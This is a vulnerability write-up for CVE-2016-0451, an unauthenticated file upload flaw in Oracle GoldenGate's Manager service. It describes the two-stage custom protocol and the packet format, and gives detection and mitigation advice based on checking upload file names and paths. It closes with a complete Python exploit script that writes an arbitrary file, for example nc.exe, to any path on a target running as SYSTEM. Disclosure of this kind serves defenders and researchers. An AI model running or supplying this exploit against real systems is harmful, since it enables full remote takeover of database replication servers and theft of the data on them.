CVE to PoC - CVE-2016-0451

CVE-2016-0451

Oracle GoldenGate

“This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Oracle GoldenGate. Authentication is not required to exploit this vulnerability.”

The Product

“Oracle GoldenGate is a comprehensive software package for real-time data integration and replication in heterogeneous IT environments. The product set enables high availability solutions, real-time data integration, transactional change data capture, data replication, transformations, and verification between operational and analytical enterprise systems.”

Oracle GoldenGate is a product widely adopted by multiple well-known companies. The strategic position of where this software is installed together with the data handled by it increase the severity of remotely exploitable vulnerabilities such the one described in this document.

The software is compatible with multiple platforms such as Windows, Linux, Solaris and AIX. The version affected by these security issues are 11.2 and 12.1.2.

The following document describes a scenario in which the software is installed on a Windows Server 2008 R2 64bit machine with Oracle Database 12c and Windows Firewall configured to allow traffic on TCP port 7809 and 7819.

The Vulnerability

The vulnerability can be triggered remotely by an attacker that has access to ports 7809 and 7819 on the target server. More information can be found here:
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0451
http://www.zerodayinitiative.com/advisories/ZDI-16-022/

The affected service is called GoldenGate Manager and is the software that starts Oracle GoldenGate processes, collector processes, perform trail management and more. It runs by default with SYSTEM privileges.
Since the vulnerability exists within the logics of the application, no security mechanisms such as DEP, ASLR or similar can mitigate the issue.

Basically an attacker has the possibility to send files to the Manager service without any form of authentication or authorization. To do this the malicious user needs to:

  • Obtain the GoldenGate suite of executables (installation is not necessary), which includes the Manager software and the executable called “ggsci.exe”; or
  • Interact directly with the remote server communicating with its custom protocol.
    This document describes the latter technique.

The file upload technique is composed of two different stages: the first instruct the server to open the (normally) closed TCP port 7819 and wait for a data stream, while the second actually sends the desired data to the target system specifying the destination path for the uploaded file.

To issue the first command an attacker must forge a packet with the following contents:

  • Start with the length of the packet (2 bytes); and
  • The command “EXTRACT START SERVER CPU -1 PRI -1 TIMEOUT 300 PARAMS” with spaces replaced by the byte 0x9

The server should reply back saying that now it is listening on port 7819.

The file upload packet must contain:

[packet size]		 	(hex, 2 bytes)
["H"] 				(ascii) Unknown meaning, could be a particular directive
[NULL byte]
[dest. path size] 		(hex, 1 byte)
[dest. path] 			(ascii)
[2x NULL bytes]
[source file size] 		 (hex, 4 bytes)
[source file contents]

As an example, the following is a data stream captured during a normal file exchange communication between two instances of GoldenGate:

Since any file name, path and content can be provided to the remote server and since the service is running under the privileges of SYSTEM, any system file, DLL or batch script can be overwritten to gain remote control of the target machine.

Detection and Mitigations Guidance

The attack is carried over a custom protocol. The recommendation is to apply immediately the patch released by the vendor.
Malicious requests can be difficult to detect since remote file transfers are part of the functionality of the software. Limitations can be however put in place by analyzing the file name and path during an upload procedure. Usually legitimate file exchanged between GoldenGate instances do not have extensions and are named following the rule:

  • First 2 characters defined by the operator
  • A sequential number starting from 0 with 6 digits (padding with 0s)

e.g. ac000001 or gh000042.

By forcing the last 6 characters to be numeric and preventing the upload on particular dangerous folders (system or web folders as an example), the major of attacks can be mitigated.

Summary

  • Remote command execution that targets the versions of Oracle GoldenGate 11.2 and 12.1.2 on each of the operating systems supported.
  • All the vulnerabilities can be triggered remotely by an attacker that has access to TCP ports 7809 and 7819 (with default settings) on the target server.

Python Script

upload.py

import socket
import struct 
import sys

WELCOME = '''
------------------------------------------------------------------
Oracle GoldenGate File Upload Remote Code Execution Vulnerability

CVE-2016-0451
ZDI-16-022
------------------------------------------------------------------
'''

HELP = '''Usage: python {0} target source-file destination-path
Example: python {0} 192.168.0.100 /home/claudio/nc.exe c:\\\\nc.exe

WARNING: Double slashes are required when specifying remote destination on Windows systems
'''.format(sys.argv[0])

DEST_PORT = 7809 # 7809 is the default TCP port for the Manager Service 
FILE_UPLOAD_PORT = 7819 # 7819 is the default TCP port for the file uploads

START_TRANSFER = 'EXTRACT START SERVER CPU -1 PRI -1 TIMEOUT 300 PARAMS'
# First command provided to the Manager, to initiate the file transfer
# The server will open another TCP port (7819) to exchange data

def appendLength(str):
 return struct.pack(">H", len(str)) + str

def prepCmd(str):
 cmd = str.replace(" ","\x09")
 return appendLength(cmd)


print WELCOME

if (len(sys.argv) < 4):
 print HELP
 exit(-1)

target = sys.argv[1]
sourceFile = sys.argv[2]
destFile = sys.argv[3]
pathSz = chr(len(destFile))

try: 
 fileContent = open(sourceFile, 'rb').read()
except:
 print "[-] Cannot open %s" % sourceFile
 exit(-1)

fileContentSize = struct.pack('>I', len(fileContent))
 
payload = "H\x00{}{}\x00\x00{}\x00{}".format(pathSz, destFile, fileContentSize, fileContent)
# The structure of the packet (big endian format):
# [packet size]		 	(hex, 2 bytes)
# ["H"] 				(ascii) Unknown meaning of H, could be a particular directive
# [NULL byte]
# [dest path size] 		(hex, 1 byte)
# [dest path] 			(ascii)
# [2x NULL bytes]
# [source file size]	(hex, 4 bytes)
# [source file contents] 

s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.settimeout(10)

try:
 print "[*] Trying to connect to %s:%s" % (target, DEST_PORT)
 s1.connect((target, DEST_PORT))
except socket.error, err:
 print "[-] Host unreachable: %s" % err
 exit(-1)

print "[+] Opening stream for file upload"
s1.send(prepCmd(START_TRANSFER)) # sending "first stage" command
d = s1.recv(1024)
s1.close()

s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.settimeout(10)

try:
 print "[*] Trying to connect to %s:%s" % (target, FILE_UPLOAD_PORT)
 s2.connect((target, FILE_UPLOAD_PORT))
except socket.error, err:
 print "[-] Host unreachable: %s" % err
 exit(-1)

print "[+] Sending file"
s2.send(appendLength(payload))
d = s2.recv(1024)
s2.close()